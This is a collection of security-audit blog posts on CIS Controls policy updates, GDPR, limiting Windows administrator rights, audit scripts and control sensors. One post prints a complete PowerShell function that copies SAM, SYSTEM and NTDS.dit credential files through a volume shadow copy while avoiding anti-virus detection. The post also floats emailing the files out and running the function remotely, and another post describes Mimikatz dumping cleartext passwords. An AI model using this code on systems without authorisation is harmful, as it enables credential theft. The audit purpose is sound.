AuditScripts.com Policies Update

Hello Folks,

It’s update time. The biggest update and perhaps the one we are most excited about is the update for the Center for Internet Security’s (CIS)  Critical Security Controls Version 7. As many of you know, James and I, along with Philippe Langlois at CIS served as technical editors of the Controls and we reviewed terrific feedback from students at the SANS Institute, community forums at CIS, feedback from the RSA Conference. Version 7 of the Controls was released this past spring, and this policy update, version 2.4, mirrors the new technical controls and simplified language introduced in Version 7. To help subscribers visualize what was changed in the this policy update, we have provided an Excel spreadsheet that highlights the changes to policy statements as well as highlights in pink those statements that were removed. This can found in the zip file for Complete AuditScripts Policies v2.4.

Other major highlights:

  • We have also updated the policy library to reflect the NIST Cybersecurity Framework from 1.0 to 1.1
  • We have updated our policy language to emphasize the ever growing importance of multi-factor authentication and we have references to using passwords.
  • The policies have been updated to reflect NERC CIP Version 7 updates.

We will be releasing the updates for the AuditScripts questionnaires and checklists in the upcoming week.

Thank you for the great feedback on the documents so far, and we hope you find this policy update helpful.

AuditScripts Policy Update for GDPR

Hello, friends and subscribers. As you know, the European Union’s General Data Protection Regulation (GDPR) is almost here and it is has become an everyday topic of conversation in our data protection circles. If you are an information security person, I hope you have made friends with the privacy folks in your organization, and vice versus. Data protection, especially under terms of GDPR, will involve the security and privacy teams working together.

As most of you know, GDPR goes into effect on May 25, 2018 and it was created to better harmonize data protection laws around the member states. Key components of GDPR include data subjects’ right for rectification, right to fair and lawful processing of personal data, as well as the right to erasure. Basically, GDPR addresses two core principles: Data Protection and Privacy.

Here at Auditscripts.com, our team knows data protection and we have tremendous expertise in information security architecture. We believe in the importance of privacy programs. In this updated release of the policies, we have acknowledged that privacy management is a unique discipline. Our recommendation for organizations is to create a Privacy Program, starting with a Charter that defines the goals of the Privacy Program. We have included an updated privacy policy in our subscription to document how privacy efforts interact with information assurance, governance, and technical controls, but this is not a replacement for a comprehensive and well documented privacy program. If you are in need of privacy resources,

The International Association of Privacy Professionals (IAPP) provides guidance, articles, and an active community supporting other privacy professionals at https://iapp.org/.
Project Management Institute provides information on project management and program management at www.pmi.org .

Today, we release our updated policy library to address the principles and requirements of GDPR, and this blog will highlight the key principles surrounding the updates to the policies.
Guiding Principles in the Creation of This Update (2018 2.3)

 

We Baked Data Protection Principles into the policy library as a whole.

The term ‘Data Protection’ is used frequently in the GDPR Articles and Recitals, but this is nothing new to our policy library. We have created an Information Assurance Policy library for you that already addresses key data protection principles of confidentiality, integrity, privacy, and availability.

We give you the tools to establish a Governance, Risk, and Compliance Program that can support data protection practices under that a GRC umbrella.

We wrote policies for a Multi-Disciplinary Team Approach to Successful Data Protection. Some examples include:

Executive Support for Governance, Information Assurance, Risk Management, and Privacy efforts

Privacy experts reviewing privacy notices

Legal personnel vendor agreements

Risk expects conducting assessments

Information Security architects reviewing technical controls

We Updated policies names to include updated concepts.

Data Protection and Classification Policy has been refined to more closely tied together data classification efforts supporting data protection (formerly, Data Classification Policy)

Data Retention, Backup, Archive Policy includes updated policy statements to reflect handling of personal data

We Avoided Regional Favoritism

We chose open-ended language in the policies to maintain a balance between the requirements of the EU’s GDPR and other geographical region’s privacy and data protection regulations.

Open ended statements that cover all regulatory bodies without being specifically written for one geographical regulatory body. For example, for GDPR, we implied that your organization is the data controller without using that term specifically.

We used the term ‘personal data’ to be inclusive of multiple regulations that refer address data about individuals.

We acknowledged that GDPR Expertise will evolve and grow as the Regulation goes into effect.

As Data Protection Authorities (DPAs) begin to review factors surrounding data subjects’ complaints and data breach notifications, we will better understand how to apply administrative and technical controls to mitigate risk.

As of the writing of this blog post, there is uncertainty of the EU-U.S. Privacy Shield and there are lingering questions if United States companies should certify or not.

We updated all policies. These policies received the largest updates:

Charter Document for Information Assurance

Cloud and Third Party Services Policy

Data Backup, Retention, Archive Policy

Data Protection and Classification Policy

Incident Management Policy

Privacy Policy

Thank you for participating in our community and we will continue to provide guidance and suggestions on how to best use the resources on www.auditscripts.com .

Using File Monitoring to Limit Admin Rights

Over the past few weeks we have been posting blogs about the importance of limiting user account rights to only what is necessary for someone to do their job. Users should have all the rights necessary to do their job, but nothing less and certainly not any more. This includes local administrator rights. Only the people that absolutely need those rights should be given those rights. It is also our argument that fewer people actually need those rights that people generally believe. We’ve also posted a few times already on the dangers of giving people too many rights on a system. And remember, this applies to both Windows and Unix systems. Just because you can login as root, it doesn’t mean you should.

A question that comes up a lot though is, “What about software programs that require the user to be a local administrator in order to run the program?” Well, as I argued in a previous post, most programs don’t need the actual local administrator rights, they just need access to an object that the current user doesn’t have access too.

One of the most common objects that users often do not have the rights to are file system objects. Now in a perfect world, software developers would write their programs to only access portions of the file system that are accessible to everyday users. Or at a minimum, developers would document what file system objects they need to access to run their software. Of course reality says developers & documentation rarely go together. So how can a sysadmin figure this out for themselves?

In the old days, we could always use tools like Filemon & Regmon by Sysinternals to figure this out at a granular level. Unfortunately after Sysinternals was purchased by Microsoft, they combined the tools into one giant monitoring tool called Process Monitor. Don’t get me wrong, it’s a great tool and very capable of gathering system information. The trouble is it can be TOO powerful. Sometimes there are so many things happening on a system that it can be difficult to isolate just the file system events. So it would appear we need a different tool that we could use to monitor simply the file system object events to help us isolate where a user may need additional user permissions.

In searching for an app that would do this, I wanted something that would be isolated to file system objects, have the ability to start and stop monitoring on command, have the ability to reset logs, and have the ability to export data to a CSV or similar format so I could manipulate the data in Excel later if I needed to. Oh, and it would be nice if the tool were free. Even better would be if the app were a portable app that I could bring with me in my toolkit without having to install it on a machine. That’s when I found Moo0 File Monitor.

Let’s say I wanted to run Microsoft Word as my test case. I want to make sure I know all the file system objects that Word needs to access in order to run on my machine. To gather my data I would need to:

  1. Close all open programs running on my computer (for the cleanest results).
  2. Open Moo0 File Monitor and make sure it’s gathering data.
  3. Clear the Moo0 logs to get a blank slate.
  4. Open the program I want to test (such as Microsoft Word).
  5. Close the program I’m monitoring to see files accessed on program exit.
  6. Click the Stop button in Moo0 File Monitor to stop collecting data.
  7. Save the Log File for later analysis.

The results of this process should be a list of files that were accessed during my session working with the software program in question. In this case when I tested it with Microsoft Word I received the following results:

moo0

Now we can use this information to examine all the file system object permissions that were listed in the log we created. Granted this can be a tedious process, looking at each set of permissions one at a time. However if you’re patient this can lead to giving people access to the objects they need to run their applications without giving them rights to all the files on the file system (ie. Local administrator). There may be more steps you need to take, such as looking at the registry or user rights as well, but this is often a good place to start and often solves the problem for you.

Hopefully tools like this make it easier for you to give people only the rights they need to do their jobs. If you have other tools that you think will help, send us a note on Twitter at @isaudit. We’d love to hear what’s worked for you as well.

The Danger of Local Windows Administrator Rights

A couple weeks ago I wrote a blog post about limiting local Windows administrator rights – the importance of it and some of the things organizations can do to allow end users to work without having those rights (http://bit.ly/1hpyllB). One of the questions that has come up, and it always does, is the question – how bad is it if users have local administrator rights?

Obviously the easiest answer is BAD, REALLY BAD! It’s like you buy a house or a car and then decide that you don’t need locks on any of the doors. The reason we have file permissions, registry permissions, user right assignments, and the like in Windows is to limit ourselves to only having the rights we need on a system that are necessary in order for us to do our jobs. We shouldn’t have any more or any less rights than are necessary. But when we give our end users administrator rights, it is like we’ve just taken all the locks off the doors and given those users the ability to go into any room of the house without our permission.

Ok, so beyond the simple answer, what else could happen on a machine if we allow users to be local administrators of their machines? Here are just a few of the things that could happen:

  1. System files can be accessed or changed.
  2. Program files or program configurations could be modified.
  3. Software that is not approved could be installed, and won’t be maintained.
  4. Malicious code can be installed with unlimited rights.
  5. New, unapproved user accounts could be added to the system.
  6. Password policies could be subverted.
  7. Security controls such as anti-malware, firewalls, removable media controls, could be disabled.

And as you can imagine, the list goes on and on…

One other fun issue to consider is the issue of passwords. Many people have heard of the pass the hash attack where an attacker steals the local password hash from a machine and then replays it into the system’s memory whenever they want to authenticate as that user. This attack is certainly possible when users have local administrator rights. But wouldn’t it be easier if the user could just steal passwords out of memory in clear text instead? Well it turns out that’s possible too. Enter Mimikatz.

For a nice long, technical explanation of how Mimikatz works, there are plenty of nice tutorials (although to be fair many of them are in French). But here’s the bottom line, if your users are local administrators on their Windows machine, then they will by default have the user right assignment of “Debug Programs” (or they can assign themselves this right if it is taken away by a security policy). Once they have this right they have the ability to interact with sensitive portions of memory, such as those where authentication credentials are stored. With that information they are able to read authentication credentials out of memory as seen in the following screen capture:

mimikatz

Not only are we able to read the NTLM password hash out of memory – which could be taken offline and cracked or used in a pass the hash attach, but we are given the passwords for every logged in user in plain text. Even in the above example where the user is utilizing upper case, lower case, numbers, and special characters and a long password, there is no need for the time or computing resources to crack the password because it is there in clear text.

Many people might wonder at this point, is this only in older versions of Windows? Unfortunately the answer is no. Version 1.0 of Mimikatz works all the way through Windows 8 systems (although Windows 8.1 does appear to be safe). Version 2.0 of Mimikatz works even with Windows 8.1 systems to manipulate this type of information. And if you were wondering, yes, there is integration between Mimikatz and the Metasploit framework to make your penetration testing efforts easier. And, just because, there is also a plugin for Mimikatz for Volatility if you’d like to play with this tool with offline forensic memory dumps.

So once again, let’s restate the issue. How bad is it if end users have local administrator rights on their Windows machines? It’s BAD, REALLY BAD!! Both the Australians DSD in their Top 35 Mitigation Strategies document and the Council on CyberSecurity in their Critical Security Controls document list this issue as a serious concern. Hopefully we can all make sure to keep this issue in mind as we defend our systems.

Limiting Windows Local Administrator Rights

One of the common issues we run into during security assessments and incident response cases is the issue of users being assigned too many permissions on their local computer. For the sake of convenience and expediency, end users often demand that they be assigned local administrator rights. These users, often in an agitated and exaggerated manner, explain to their bosses that they simply cannot do their job unless they are given these rights on their work computer. This begs the question, do end users normally need these rights or is there a better more secure approach to take. Or using an analogy, should we stop locking the doors to our home or vehicles because one day we might forget our keys and be inconvenienced in the process?

First of all, let’s start with the basic business principle – end users should be assigned the rights and permissions that they need on their computer in order to do their job. They should not be assigned any more rights or permissions than this, and they should not be given any fewer rights than this. Of course it can be tough to strike a balance between the two, but it’s certainly the ideal we should be striving for.

But what’s the big deal? Why not just assign everyone local administrator rights on their workstation and call it a day? We even saw one company take it so far as to add the local “Everyone” group to the local administrators group on all their machines to limit the helpdesk requests that would come in. Is this really so bad? The answer is YES!

If end users are assigned local administrator rights and they don’t need those rights and permissions it opens the door for a number of abuses. Malicious actors wanting to cause harm to the users can arbitrarily run code on their systems with full permissions if they can convince the user to click on a malicious link or open malicious email content. End users could turn off the security controls we use to protect our systems like whitelisting software, password controls, anti-malware software, and similar tools. Unapproved software could be installed on an end user’s machine, breaking business critical applications, thus requiring troubleshooting from desktop support. And the list goes on…

Basically if you give end users local administrator rights to their workstations, in effect the organization has disabled all the locks on the system put in place to protect the end user and the organization’s data.

But the common complaint still exists. Will users be able to do their work if they are not local administrators? The answer of course is yes. But we still need to be able to assign the correct rights and permissions on the system to enable the user to work. One of the most common complaints we hear is that certain pieces of software simply will not function unless the end user is granted local administrator rights on their computer. How do we address that?

Whenever we encounter a software application on a Microsoft Windows system that believes it needs to have local administrator rights in order to function, there are a series of checks that we try first. In most every case when a developer states that they need local administrator rights, it is because they haven’t taken the time to try to figure out specifically what rights are necessary in order for the program to function properly or they are trying to access an operating system object that they should not be trying to access. So what are those checks, what do we do when we are troubleshooting to see why a program will not run unless you are an administrator?

Generally when an application developer says that their software requires local administrator rights, it is because their software is trying to access a protected operating system object. So to troubleshoot, the trick is to determine which object they are trying to access. When we’re troubleshooting this issue, it is always one of the following objects:

  • File system object permissions
  • Registry hive object permissions
  • User right assignments of the user
  • Mandatory Integrity Control (MIC) levels on an object

Nine times out of ten the issue is simply a file system issue. But don’t forget the other issues as well, they all can play a part.

If you don’t want to take the time to figure it all out on your own, there are of course software vendors that will make this process easier for you. Companies like Cyber-Ark, Computer Associates, BeyondTrust, and Cloakware all sell software designed to make this process easier for you. But as with anything else, trying the simple steps first often times will solve the issue for you.

In future posts we will look into each of the operating system objects above to see if we can better understand how to examine the necessary rights for each. But for now hopefully by examining those objects you will be able to determine what the specific, necessary rights are for your organization’s applications to function properly and only with the rights they need.

The Digital Security Poverty Line

Like many information security practitioners, this week marks the return to the office and reflection after attending the annual RSA Conference in San Francisco. Every year there are interesting speakers, some better than others, crazy parties, and a vendor show the size of a small city. And every year I admit I get a little contemplative at the end of the week and try to reflect a little more on our industry.

This year there was a phrase that I heard that got me thinking, the phrase described the challenges of the “Digital Security Poverty Line.” So it got me thinking, is this a real thing? Is this hype or when we look at organizations today are there really haves and have nots in the world of information assurance?

I think one of the first discussion points has to be a monetary one. Do larger organizations have larger budgets when it comes to information assurance? I think the knee-jerk reaction most of us would have to this is yes. But a better question might be – do larger organizations have a larger percentage of their budget allocated to information assurance? According to a study performed by BAE Systems Applied Intelligence and the Gartner Group there is a wide range of spending that organizations allocate to information assurance. According to their October 2013 study (http://blogs.gartner.com/john-wheeler/it-security-budgets-rise-as-data-breach-fear-spreads/) the majority of organizations allocate between 3-10% of their IT budgets towards information assurance efforts. 

2013itsecuritybudget

But this still begs the question – does that mean if your organization allocates lower than 3% of its IT budget on information assurance, does that mean your organization is in poverty?

For this statement to be true, there would have to be a set of organizations under-allocating resources – which likely is true. But also the industry would have to be lacking in low cost quality tools that could be used to secure information systems. So is that true?

This is where I think the phrase starts to break down. Yes, in my opinion, there are and there always have been low cost tools available to small, midsized, or “poverty stricken” information assurance departments that could be used to secure information assets. While certainly it would be nice if everyone could afford a tool like Tenable’s Security Center, Tenable has always been gracious enough to provide tools like stand-alone Nessus if your organization did not have the funds for the larger solution. And of course this does not even take into account the abundance of free or open source (FOSS) tools that companies could employ – OpenVAS anyone?

I can certainly understand the vendors point about the appearance of a poverty line. And more importantly I think it’s quite generous for companies such as Qualys and Tripwire (nCircle) to release tools for small businesses to help them alleviate the stress. For those of you would did not notice, both of these vendors released free tools at the RSA Conference to help SMBs to secure their information systems based on the recommendations from the Critical Security Controls project.

So free or low cost tools are available to organizations. So if there is a poverty line, then it would have to be related to the personnel resources that an organization allocates to the issue. In the long term automation will help to remove this as a consideration, but as organizations initiate their assurance programs, it will take people to kick things off and create a strategy for organizations. Certainly that’s hard to argue against.

So, is the idea of a digital poverty line real? That’s hard to say. It could be the emergence of a new trendy marketing word. Or on the other hand if one does exist today I would argue that is has to do with the allocation of personnel and not the allocation of capital budgets. So what’s the moral of the story? If a digital security poverty line exists, it is because of their personnel. So if I was an organization today reading about data breaches and theft of intellectual property I would make sure I’m investing in the people that keep my data secure. Am I giving them the training and mentoring necessary to make good decisions for the organization or am I simply throwing my capital after more products. Maybe it’s time we all followed after groups like the State of Colorado and spend fewer resources on software licenses and fancy appliances and more on investing in the people that watch over our organization’s data every day.

Community PowerShell Security Audit Scripts

Back in December we posted a couple scripts that fellow auditors had pointed out to us that helped auditors dump Microsoft Windows file permissions to a CSV file for easier auditing. As a result of that post we’ve had feedback from a number of people that it would be helpful to see more of these scripts and even some suggestions for PowerShell audit scripts that we might want to share with others.

Two scripts immediately jumped out to us this past month as comprehensive PowerShell audit scripts that might help people who are auditing Microsoft Windows systems. These might inspire you to write your own script or maybe you just want to use these in the course of your audits. So we’ll share them here for you in the hopes that they make your life as an auditor easier.

The first script was posted to the Microsoft Script Center and was written to perform a comprehensive system audit of multiple machines that are detected in an Active Directory environment:

http://gallery.technet.microsoft.com/scriptcenter/Computer-Network-Audit-6593a48d

The second script we wanted to share was written by Alan Renouf and we especially liked this one because of the nicely formatted output after auditing a system:

http://poshcode.org/639

Both of these scripts illustrate the ideas we’ve been trying to teach people of automating your audit efforts. These are both good examples of what we hope you all are creating. If you do have further suggestions, please pass them along. You can email [email protected] if you have more resources you’d like us to share with the community.

Extracting Windows Passwords with PowerShell

Happy New Year! I hope everyone has had a great holiday season so far and is excited and ready for a new year full of auditing excitement! For the first post of the year I thought we would discuss a topic more for fun and something different in the hopes of inspiring you to spend a little more with PowerShell and scripting.

WARNING: Please do not attempt anything we’re about to discuss without clear permission from everyone and anyone you can think of. If you don’t have permission, don’t do it!! Anyways…

One problem auditors and penetration testers often have when auditing passwords is that most of the tools that are commonly used to extract passwords from a Windows system are viewed as malware by the anti-virus software installed on the system. Or if you have whitelisting software installed, then you are only able to execute the binaries approved in advance by management. But what if you want to rely on native tools and commands to do your assessment and you want to “live off the land”? That’s where Microsoft’s PowerShell comes in handy.

The folks at ObscureSecurity.com (http://www.obscuresecurity.blogspot.com/) contributed a function to the Microsoft Scripting Center called Get-PasswordFile. The idea of the script is to use native PowerShell functions to extract a local SAM database from a Microsoft Windows computer without causing damage to the underlying operating system or trigger an anti-virus alert. If you’re not sure what to do with a PowerShell function, here’s some advise you might want to read as well (http://www.mikepfeiffer.net/2010/06/how-to-add-functions-to-your-powershell-session/).

Here’s the code for their function:

function Get-PasswordFile { 
<# 
.SYNOPSIS 
 
    Copies either the SAM or NTDS.dit and system files to a specified directory. 
 
.PARAMETER DestinationPath 
 
    Specifies the directory to the location where the password files are to be copied. 
 
.OUTPUTS 
 
    None or an object representing the copied items. 
 
.EXAMPLE 
 
    Get-PasswordFile "c:\temp" 
 
#> 
 
    [CmdletBinding()] 
    Param 
    ( 
        [Parameter(Mandatory = $true, Position = 0)] 
        [ValidateScript({Test-Path $_ -PathType 'Container'})]  
        [ValidateNotNullOrEmpty()] 
        [String]  
        $DestinationPath      
    ) 
 
        #Define Copy-RawItem helper function from http://gallery.technet.microsoft.com/scriptcenter/Copy-RawItem-Private-NET-78917643 
        function Copy-RawItem 
        { 
 
        [CmdletBinding()] 
        [OutputType([System.IO.FileSystemInfo])] 
        Param ( 
            [Parameter(Mandatory = $True, Position = 0)] 
            [ValidateNotNullOrEmpty()] 
            [String] 
            $Path, 
 
            [Parameter(Mandatory = $True, Position = 1)] 
            [ValidateNotNullOrEmpty()] 
            [String] 
            $Destination, 
 
            [Switch] 
            $FailIfExists 
        ) 
 
        # Get a reference to the internal method - Microsoft.Win32.Win32Native.CopyFile() 
        $mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ($_.Location.Split('\')[-1] -eq 'mscorlib.dll')} 
        $Win32Native = $mscorlib.GetType('Microsoft.Win32.Win32Native') 
        $CopyFileMethod = $Win32Native.GetMethod('CopyFile', ([Reflection.BindingFlags] 'NonPublic, Static'))  
 
        # Perform the copy 
        $CopyResult = $CopyFileMethod.Invoke($null, @($Path, $Destination, ([Bool] $PSBoundParameters['FailIfExists']))) 
 
        $HResult = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() 
 
        if ($CopyResult -eq $False -and $HResult -ne 0) 
        { 
            # An error occured. Display the Win32 error set by CopyFile 
            throw ( New-Object ComponentModel.Win32Exception ) 
        } 
        else 
        { 
            Write-Output (Get-ChildItem $Destination) 
        } 
    } 
  
    #Check for admin rights
    if (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
    {
        Write-Error "Not running as admin. Run the script with elevated credentials"
        Return
    }
        
    #Get "vss" service startup type 
    $VssStartMode = (Get-WmiObject -Query "Select StartMode From Win32_Service Where Name='vss'").StartMode 
    if ($VssStartMode -eq "Disabled") {Set-Service vss -StartUpType Manual} 
 
    #Get "vss" Service status and start it if not running 
    $VssStatus = (Get-Service vss).status  
    if ($VssStatus -ne "Running") {Start-Service vss} 
 
        #Check to see if we are on a DC 
        $DomainRole = (Get-WmiObject Win32_ComputerSystem).DomainRole 
        $IsDC = $False 
        if ($DomainRole -gt 3) { 
            $IsDC = $True 
            $NTDSLocation = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\services\NTDS\Parameters)."DSA Database File" 
            $FileDrive = ($NTDSLocation).Substring(0,3) 
        } else {$FileDrive = $Env:HOMEDRIVE + '\'} 
     
        #Create a volume shadow filedrive 
        $WmiClass = [WMICLASS]"root\cimv2:Win32_ShadowCopy" 
        $ShadowCopy = $WmiClass.create($FileDrive, "ClientAccessible") 
        $ReturnValue = $ShadowCopy.ReturnValue 
 
        if ($ReturnValue -ne 0) { 
            Write-Error "Shadow copy failed with a value of $ReturnValue" 
            Return 
        }  
     
        #Get the DeviceObject Address 
        $ShadowID = $ShadowCopy.ShadowID 
        $ShadowVolume = (Get-WmiObject Win32_ShadowCopy | Where-Object {$_.ID -eq $ShadowID}).DeviceObject 
     
            #If not a DC, copy System and SAM to specified directory 
            if ($IsDC -ne $true) { 
 
                $SamPath = Join-Path $ShadowVolume "\Windows\System32\Config\sam"  
                $SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system" 
 
                #Utilizes Copy-RawItem from Matt Graeber 
                Copy-RawItem $SamPath "$DestinationPath\sam" 
                Copy-RawItem $SystemPath "$DestinationPath\system" 
            } else { 
             
                #Else copy the NTDS.dit and system files to the specified directory             
                $NTDSPath = Join-Path $ShadowVolume "\Windows\NTDS\NTDS.dit"  
                $SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system" 
 
                Copy-RawItem $NTDSPath "$DestinationPath\ntds" 
                Copy-RawItem $SystemPath "$DestinationPath\system" 
            }     
     
        #Return "vss" service to previous state 
        If ($VssStatus -eq "Stopped") {Stop-Service vss} 
        If ($VssStartMode -eq "Disabled") {Set-Service vss -StartupType Disabled} 
}

Once you have the local SAM database from a computer the next step would be to examine the databases in your favorite password cracking tool offline, such as Cain from http://oxit.it.

In general those of you who know me know that I’m always a little hesitant to recommend that auditors especially consider password cracking at all. If an auditor chooses to run a script like this there should be a clear business reason for running the script, and should only be done with clearly documented management approval. But a script like this, downloading the SAM database from a local computer can still have quite a few benefits. Some of the controls an auditor might be able to test with this file are:

    Are only the appropriate user accounts on each local computer?
    Are any local user accounts using blank passwords?
    Are any local user accounts using the same password?
    Are any local user accounts using passwords that do not match the organization’s password policies?

So what else could we do with this script? From an automation and penetration testing perspective there’s all sorts of creative things we could do next. Just a few creative ideas you might consider:

    Automate the script to download the local SAM database
    Automate the script to encrypt the SAM and email it to the penetration tester
    Automate the script to run against multiple remote computers

There’s just all sorts of fun that a penetration tester or auditor could have with this tool if they really wanted to. Again, I hope this code is useful to you and your security efforts. To a great 2014!

Community PowerShell File Permission Audit Scripts

Often times as we talk with auditors or students in our classes audit scripts are brought to our attention that might be useful to people performing audits of various technical systems. Sometimes we write helpful scripts and when we do we’ll post them here for you to review. But sometimes we find the scripts and want to make you aware of them in case they help make your job easier.

This month we found two scripts that we think might help you out and both enable auditors of Microsoft Windows systems to use PowerShell to dump file system permissions to a CSV file so you can parse them in Excel or you favorite spreadsheet program.

The first script was written by John Milner, and he gives a full explanation of its capabilities here:

http://jfrmilner.wordpress.com/2011/05/01/audit-ntfs-permissions-powershell-script/

The second script was written by Roman Zarka and is a little more in depth. You can learn more about his audit script here:

http://blogs.technet.com/b/zarkatech/archive/2012/01/14/audit-file-server-permissions-using-powershell.aspx

If you have other favorites that you would like to share with the AuditScripts community, please don’t keep them to yourselves. Email us at [email protected] if you have other resources that you think would help your fellow auditors in their audit efforts.

Sensors for the Critical Security Controls

Most people in information security have heard of the Critical Security Controls these days. The idea of a community risk assessment project that helps all prioritize our information security efforts is appealing to most of us. The sticking question everyone always comes back to though is “how do I start implementing an information security plan using the controls?”

There are a few different approaches to this question. One of the most common is to simply start at the first priority (#1) and work your way through the list. It’s designed to be simple to use.

Ideally though we would have a translation between business requirements and what technical sensors security analysts need to deploy in order to achieve all the goals defined in the controls. So we took it upon ourselves to answer that exact question. If someone would take every sub control in the Critical Security Controls (version 4.1) and map a corresponding sensor to each of the controls, what controls would be left.

This is the list that we came up with (in priority order):

  1. Hardware Inventory System
  2. Asset Inventory System
  3. Active Device Discovery Tool
  4. Passive Device Discovery Tool
  5. System Imaging & Cataloging System
  6. Authentication System
  7. Public Key Infrastructure (PKI)
  8. 802.1x Authentication System (RADIUS / TACACS+ / etc)
  9. Network Access Control (NAC) System
  10. Software Inventory System
  11. Software Whitelisting System
  12. SCAP Compliant Vulnerability Management System
  13. SCAP Compliant Configuration Scanning System
  14. Configuration Policy Enforcement System
  15. Patch Management System
  16. Vulnerability Intelligence Service
  17. File Integrity Assessment System
  18. Anti-Malware / Endpoint Protection System
  19. Email Anti-Malware System
  20. SPF DNS Record
  21. Web Based Anti-Malware System
  22. Web Application Firewall (WAF)
  23. Application Code Review / Vulnerability Scanning System
  24. Database Vulnerability Scanning System
  25. Application Specific Firewalls
  26. Wireless Network Device Management System
  27. Wireless Intrusion Detection System (WIDS)
  28. Backup / Recovery System
  29. Data Encryption System
  30. DHCP Server Logs
  31. Domain Name System (DNS) Monitoring System
  32. Host Based Data Loss Prevention (DLP) System
  33. Host Based Access Control Lists
  34. Host Based Firewalls / Endpoint Protection System
  35. Intrusion / Malware Detection System
  36. Log Management System / SIEM
  37. Network Based Data Loss Prevention (DLP) System
  38. Network Devices that Support VLANs & ACLs
  39. Network Proxy / Firewall / Monitoring System
  40. Password Assessment System
  41. Removable Media Control / Endpoint Protection System
  42. User Account Discovery / Inventory System

It certainly seems like a long list, but I would bet most companies already have many of these controls in place.

It seems to us if an organization would work their way through this list as a part of a gap analysis and then review the controls, they would find that they hand implemented the majority of the sub controls in the list simply by implementing these sensors. Certainly an organization will need to operationalize the controls too. But at least this might help a few organizations to get started in their efforts.